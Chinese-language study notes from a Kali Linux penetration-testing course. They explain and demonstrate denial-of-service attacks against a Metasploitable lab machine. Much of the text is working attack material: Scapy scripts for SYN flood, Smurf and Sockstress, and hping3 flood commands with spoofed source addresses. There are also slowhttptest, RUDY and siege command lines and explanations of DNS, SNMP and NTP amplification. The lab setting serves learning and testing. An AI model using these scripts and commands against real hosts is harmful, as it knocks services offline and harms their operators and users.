笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
拒绝服务攻击指针对网络协议、应用的缺陷或直接耗尽被攻击对象的资源,使得目标计算机或网络无法提供正常的服务或资源访问,由于拒绝服务攻击通常利用实际存在的僵尸机和IP对目标发起合法请求,因此难以防范。可以从源、手段、目标三个层次进行划分:
我们先复习下TCP在建立和断开连接过程中,Client和Server的状态变化,如下所示:
图1 TCP建立连接过程状态
Syn-Flood向攻击目标连续、大量发送SYN包,利用三次握手过程中SYN_RCVD -> ESTABLISHED
的等待过程,通过占满TCP最大并发连接数实现拒绝服务攻击,原理如下图所示:
图2 Syn-Flood攻击原理
利用Scapy脚本发包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
from thread import start_new_thread
from sys import argv
from time import sleep
if len(argv) != 4:
print('usage: ./syn_flood.py [ip_address] [port] [threads]')
print('eg: ./syn_flood.py 114.114.114.114 80 20')
sys.exit()
ip_address = argv[1]
port = int(argv[2])
threads = int(argv[3])
print('Syn-Flood attack is running, press Ctrl+C to stop...')
def synflood(ip_address, port):
while 1:
rand_port = randint(1,65525)
send(IP(dst = ip_address)/TCP(dport = port,sport = rand_port),verbose = 0)
for x in range(0,threads):
start_new_thread(synflood, (ip_address, port))
while 1:
sleep(1)
将Metasploitable当做靶机,对其发起Syn-Flood攻击,然后通过top和netstat观察系统资源消耗情况,刚开始发现靶机TCP并发连接数未增加,用Wireshark抓包发现系统自动回复了RST,如下所示:
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.11.128 -j REJECT
成功攻击后利用top命令查看靶机CPU性能,发现未受影响,但是TCP并发连接数已达上限256,此时正常TCP请求无法建立。
拒绝服务攻击常伴随地址欺骗,即伪造IP源(真正的攻击目标),利用僵尸机回包给攻击目标,从而以隐藏攻击者身份。但注意目前ISP边界路由器对进站和出站的源IP有所限制,会导致伪造IP包发送失败。
十分原始的DDoS攻击技术,工作在链路层(局域网),向广播地址发送伪造源地址的ICMP echo Request(ping)包,使得局域网内主机都会向发送ping包的源地址发Reply包,从而使其遭受DDoS攻击。
现代操作系统大多已不再响应目标为广播地址的ping包,因此这种攻击方法已几乎失效。
利用Scapy脚本发包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
send(IP(dst="10.10.11.255",src="10.10.11.128")/ICMP(),count=100,verbose=1)
攻击后发现只有网关设备会回应广播的ping包,Wireshark抓包如下:
利用TCP建立连接三步握手过程中的最后Client回复的ACK,其中window为协商的接收窗口大小,将其设置为0,使得Server误以为Client接收窗口已满,以等待数据发送,这样使得攻击目标大量Socket保持ESTABLISHED状态,会消耗攻击目标大量的系统资源。
Sockstress是一种非常有效的DoS攻击方式,单机发起异步攻击,可以使得高配置服务器拒绝服务。最有效的防御方法是采用白名单,但是应用起来不实际,折中对策是限制单位时间内每个IP地址的TCP连接数,但这又对DDoS失效。
利用Scapy脚本发包,如下所示:
#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
import sys,os,signal,thread,time
if len(sys.argv)!=4:
print('usage: ./sockstress.py [ip_address] [port] [threads]')
print('eg: ./sockstress.py 114.114.114.114 80 20')
sys.exit()
ip_address = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])
def sockstress(ip_address, port):
while 1:
try:
x = randint(0,65535)
response = sr1(IP(dst=ip_address)/TCP(dport=port, sport=x, flags='S'),timeout=3,verbose=0)
send(IP(dst=ip_address)/TCP(dport=port,sport=x,flags='A',ack=(response[TCP].seq+1),window=0),verbose=0)
except:
pass
def shutdown(signal, frame):
print('iptables recover...')
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
sys.exit()
def start():
print('iptables change...')
print('Sockstress attack is running, press Ctrl+C to stop...')
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
for x in range(0, threads):
thread.start_new_thread(sockstress, (ip_address, port))
signal.signal(signal.SIGINT, shutdown)
start()
while 1:
time.sleep(1)
利用脚本攻击Metasploit2靶机80端口,攻击后Wireshark抓包分析正常,netstat分析TCP连接80端口处于ESTABLISHED状态最大280,但是靶机cpu性能并没有受影响,攻击无效,没有查阅到相关解释,困惑中。。。
相反运用C攻击脚本https://github.com/defuse/sockstress可以很好实现DoS攻击,虽然从top性能上分析没有将CPU资源耗尽,但是实际上系统已拒绝提供服务,如ssh、apache均不能正常访问。
git clone https://github.com/defuse/sockstress.git
cd sockstress
make
./sockstress 10.10.11.128:80 eth0 -p payloads/http
IP协议会将超过其最大传输载荷的数据分段传输,接收方利用数据段之间的IPID和数据偏移值进行拼接,TearDrop即利用IP分段之间数据偏移值重叠覆盖,使得操作系统无法处理此类情况而发生蓝屏、重启、卡死等故障。
原理如下图所示,假设数据段需要拆分为两个IP数据包进行传输,第一个IP包已经传输了1480字节数据,正常第二个IP数据包起始位置偏移量应为1481,而TearDrop攻击中偏移量变为1000,这样就导致接收方在拼接接收的两个IP数据包时出现重叠部分,从而导致系统处理错误。
图3 TearDop攻击原理
但是这种攻击方式仅针对早期Windows系统(95、98、3x等),这里只分析原理作为学习参考,实践意义并不大。
和Scapy一样,几乎可以定制发送任何TCP/IP数据包,命令行参数命令,使用更加方便。
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.10.11.128
hping3 -q -n -a 10.10.11.128 --icmp -d 100 --flood 10.10.11.100
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
hping3 -a 10.10.11.128 --udp -s 53 -d 100 -p 53 --flood 10.10.11.100
# 攻击UDP 53端口(DNS)
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
一种特殊种类的SYN Flood攻击,源地址、目的地址都是攻击目标,攻击目标自己与自己完成TCP三次握手。
hping3 -n -a 10.10.11.128 -S -d 100 -p 80 --flood 10.10.11.128
利用协议自身特性,结合IP源地址欺骗,以小流量请求产生大流量回包,利用大量正常工作的主机实现DDoS,适合于放大攻击的协议包括DNS、SNMP、NTP等,这里仅分析其攻击实现原理。
DNS服务端口为UDP 53,攻击原理:伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询,使得DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS。以dig
命令为例,dig ANY google.com @202.106.0.20
命令发包数据107bytes,回包数据785bytes,回包流量照比发包放大了7倍。
SNMP服务端口为UDP 161/162,其工作时由客户端(管理站)向服务端(被管理设备)发起查询请求,所有数据存储在服务端的管理信息数据库中(MIB),攻击原理:伪造源地址为被攻击目标地址,向开启了SNMP服务的设备发送查询请求,使被攻击目标遭受DDoS。
NTP服务端口为UDP 123,用于网络设备时间同步,NTP提供monlist查询功能,监控NTP服务器状况,客户端查询时,NTP服务器返回最后同步时间的600个客户端IP,流量放大约100倍,攻击原理:伪造源地址为被攻击目标地址,向开启了NTP服务且提供monlist查询的设备发送查询请求,使被攻击目标遭受DDoS。
与应用服务进行异常交互时,利用自身存在漏洞耗尽应用或系统的资源,使应用或系统拒绝服务,其中典型且高效的测试方法如慢速DoS攻击:SlowHTTPTest、RUDY。
Slowloris、Slow HTTP POST
\r\n\r\n
,在攻击中只发送\r\n
Slow Read Attack
Apache Range Header Attack
可以从GitHub上下载源码git clone https://github.com/shekyan/slowhttptest.git
,然后进入slowhttptest目录运行:
./configure
make && make instal
然后就可以运行命令,具体在man手册里,可参见EXAMPLES,下面用上述四种slowhttptest方法攻击靶机metasploitable2上运行的Apache:
# Slowloris
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3
# Slow HTTP POST
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.11.128 -x 10 -p 3
# Slow Read Attack
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.11.128 -p 3
# Apache Range Header Attack
slowhttptest -R -u http://10.10.11.128 -t HEAD -c 1000 -a 10 -b 3000 -r 500
经过测试,Slowloris和Slow HTTP POST的攻击效果最好,Slow Read Attack次之,Apache Range Header Attack则无法实现DoS。
另外除了上述下载源码编译后使用命令以外,还可以利用Docker拉取SlowHTTPTest镜像,在新建的容器中使用命令:
# 安装好docker后首先要拉取slowhttptest镜像
docker pull shekyan/slowhttptest
# 然后直接在新建的容器中直接运行命令参数,以Slowloris攻击为例
docker run -it shekyan/slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3
从https://sourceforge.net/projects/r-u-dead-yet/获取源码,解压后README中有详细介绍,在rudeadyet.conf
中配置好攻击目标url以及表单提交的对象参数,以metasploitable2中dvwa登录界面为攻击目标:
[parameters]
URL: http://10.10.11.128/dvwa/login.php
number_of_connections: 500
attack_parameter: username
proxy_addr: ""
proxy_port: 0
然后运行./r-u-dead-yet-v2.2.py
开始攻击,效果还是比较好的。
HTTP/HTTPS压力测试工具,模拟多个用户并发访问请求,可到GitHub下载https://github.com/JoeDog/siege.git或者直接apt install siege
安装。
siege -g http://10.10.11.128/dvwa/login.php
# 用HEAD|GET方法向-g指定url发送请求,获取banner信息
siege -i -c 1000 http://10.10.11.128 -A http-agent
# -i:模拟Internet上用户的正常请求
# -c:模拟多个用户并发测试
# -A:user-agent头内容
# 可以使用-f参数调用url字典文件,同时测试多个url